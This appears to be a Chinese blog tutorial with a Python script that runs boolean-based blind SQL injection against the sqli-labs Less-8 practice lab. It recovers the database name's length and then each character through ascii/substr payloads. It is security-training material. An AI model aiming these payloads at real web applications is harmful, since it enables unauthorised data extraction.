Python脚本--SQL盲注

文章讲述了如何使用Python的requests库进行SQL注入攻击,首先获取数据库长度,然后通过逐位查询ASCII值获取数据库名称,以演示Web应用程序安全漏洞利用过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

import requests,string

url= "http://10.1.1.11/sqli-labs/Less-8/"
headers= {
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
}
# 获取数据库长度
def get_db_len(url):
    for i in range(1,100):
        payload=f"?id=1' and length(database())={i} --+"
        full_url= url+ payload
        # print(full_url)
        res= requests.get(url= full_url,headers= headers)
        if "You are in..........." in res.text:
            break
    return i
db_len= get_db_len(url)
print(f"[+] The db_leng is :{db_len}")

# 按位获取数据库名
c_range= string.printable.strip()

def get_db_name():
    db_name= ""
    for i in range(1,db_len+ 1):
        for c in c_range:
            payload= f"?id=1' and ascii(substr(database(),{i},1))={ord(c)} --+"
            full_url= url+ payload
            # print(full_url)
            res= requests.get(url= full_url, headers= headers)
            if "You are in..........." in res.text:
                db_name+= c
                break
    return db_name
db_name= get_db_name()
print(f"[+] The db_name is :{db_name}")


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值